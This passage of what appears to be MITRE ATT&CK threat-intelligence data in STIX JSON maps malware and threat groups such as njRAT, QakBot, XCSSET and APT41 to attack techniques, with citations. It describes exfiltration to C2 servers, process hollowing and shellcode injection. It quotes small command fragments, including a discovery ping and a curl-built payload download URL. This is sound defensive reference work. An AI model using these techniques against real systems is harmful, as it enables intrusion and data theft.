2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30be2552-9794-4eef-b3b6-fa663f68784b","type":"relationship","created":"2019-06-04T19:40:19.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."},{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-06-24T18:57:11.117Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can access the victim's webcam.(Citation: Fidelis njRAT June 2013)(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30c0f7aa-473d-42c3-81ff-f39c6f21ee52","created":"2020-08-03T15:14:17.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"},{"source_name":"Trusteer Carberp October 2010","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020.","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.252Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has exfiltrated data via HTTP to already established C2 servers.(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30c22798-520c-40cc-b53f-352a1c0a4940","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.856Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) can delete files on the victim’s machine.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--30c4bdc2-1697-4eb6-ac74-3cfb86d17a5b","created":"2021-10-15T21:46:20.726Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Dragos Crashoverride 2018)","modified":"2022-06-30T20:19:13.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30c5a160-c42d-4bee-bcc6-b85f083136d7","type":"relationship","created":"2020-03-18T20:19:35.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-18T20:19:35.732Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30c69dcc-9cf7-4352-a30c-0e7bc86b38e7","type":"relationship","created":"2020-06-09T21:23:39.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.762Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has created a fake rm binary to replace the legitimate Linux binary.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30c9343b-bb15-494a-a1cf-4449131ec216","type":"relationship","created":"2019-04-17T13:46:38.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2019-09-09T19:23:37.335Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses the LoadLibraryExW() function to load additional modules. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30cfec26-a5ff-460d-876c-ca7f9d1e639f","created":"2024-05-17T13:24:22.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.132Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will communicate via HTTP over port 8080 for command and control traffic.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30d1528d-6a50-47b2-ab5c-eb9074adc716","type":"relationship","created":"2020-05-26T16:17:59.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-15T19:59:06.631Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) used scripts which killed processes and added firewall rules to block traffic related to other cryptominers.(Citation: Talos Rocke August 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30da0c3d-8767-4828-b50d-181d9a89b9a8","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Lee 2013","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"},{"source_name":"NCSC Joint Report Public Tools","description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T21:16:25.386Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component can download remote files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)(Citation: Rapid7 HAFNIUM Mar 2021)(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30da2329-c7ee-4ac9-a38d-af79e6c1389c","type":"relationship","created":"2020-05-01T20:32:56.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."},{"source_name":"US-CERT HOTCROISSANT February 2020","url":"https://www.us-cert.gov/ncas/analysis-reports/ar20-045d","description":"US-CERT. (2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.586Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has compressed network communications and encrypted them with a custom stream cipher.(Citation: Carbon Black HotCroissant April 2020)(Citation: US-CERT HOTCROISSANT February 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30da3c92-05b8-40fd-b8b6-29cb20a597a1","created":"2023-01-10T18:36:35.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-13T18:38:25.309Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used BitLocker and DiskCryptor to encrypt targeted workstations. (Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30db098c-7e7b-42bc-b4dc-f2b54e7dde65","type":"relationship","created":"2021-10-06T02:04:09.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}],"modified":"2021-10-09T19:14:07.290Z","description":"[Dok](https://attack.mitre.org/software/S0281) is packed with an UPX executable packer.(Citation: hexed osx.dok analysis 2019)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30df477a-f775-4349-ba03-07a3f4293db4","type":"relationship","created":"2021-07-16T15:39:37.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-10-15T19:14:33.505Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has the ability to inject shellcode into a donor processes that is started in a suspended state. [GuLoader](https://attack.mitre.org/software/S0561) has previously used RegAsm as a donor process.(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30e18b95-a311-4ab5-aa59-a31a20f65f66","type":"relationship","created":"2021-09-30T13:20:52.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.782Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use process hollowing to execute its main payload.(Citation: ATT QakBot April 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30e190f8-2f7d-4795-9bed-90576fafdd0b","type":"relationship","created":"2021-10-14T22:58:54.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-14T22:58:54.481Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) downloads browser specific AppleScript modules using a constructed URL with the curl command, https://\" & domain & \"/agent/scripts/\" & moduleName & \".applescript.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30e3ae03-ffd2-4ad0-822c-018b08079dd9","created":"2022-09-23T15:00:18.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T12:35:59.325Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can use com objects identified with `CLSID_ShellLink`(`IShellLink` and `IPersistFile`) and `WScript.Shell`(`RegWrite` method) to enable persistence mechanisms.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30e61544-d516-40ee-afac-8fd9deecd017","type":"relationship","created":"2021-03-24T20:25:01.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.285Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has used HTTP for C2.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30e68a86-bbfc-4677-9815-b256be560f09","type":"relationship","created":"2020-11-13T18:52:28.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:41.188Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can utilize web services including Google sites to send and receive C2 data.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30e6bb1e-7c6a-4fff-8163-f5a065d2d960","type":"relationship","created":"2020-09-23T15:18:36.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.384Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) can gather the hostname on a compromised machine.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30ea6fe2-2947-4d12-b959-5a59c9e8d812","created":"2023-01-03T19:20:47.958Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-03T19:20:47.958Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `cmd.exe /c ping %userdomain%` for discovery.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30ee835f-64a1-4e14-8c9c-648e24fc9b0b","created":"2022-09-27T18:04:44.230Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:04:44.230Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the `time` command to retrieve the current time of a compromised system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30efb3df-f7b4-47f8-9c5a-53a94509c929","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.642Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) can upload files to the victim’s machine and can download additional payloads.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30f0fc1f-d2fb-4bc8-98b1-431324127f07","created":"2022-10-07T20:04:36.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-07T16:40:21.278Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors used uncommon high ports for its backdoor C2, including ports 25667 and 47000.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30f18b5b-a02e-4d15-bfd2-346145453a07","type":"relationship","created":"2019-02-18T20:33:58.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER 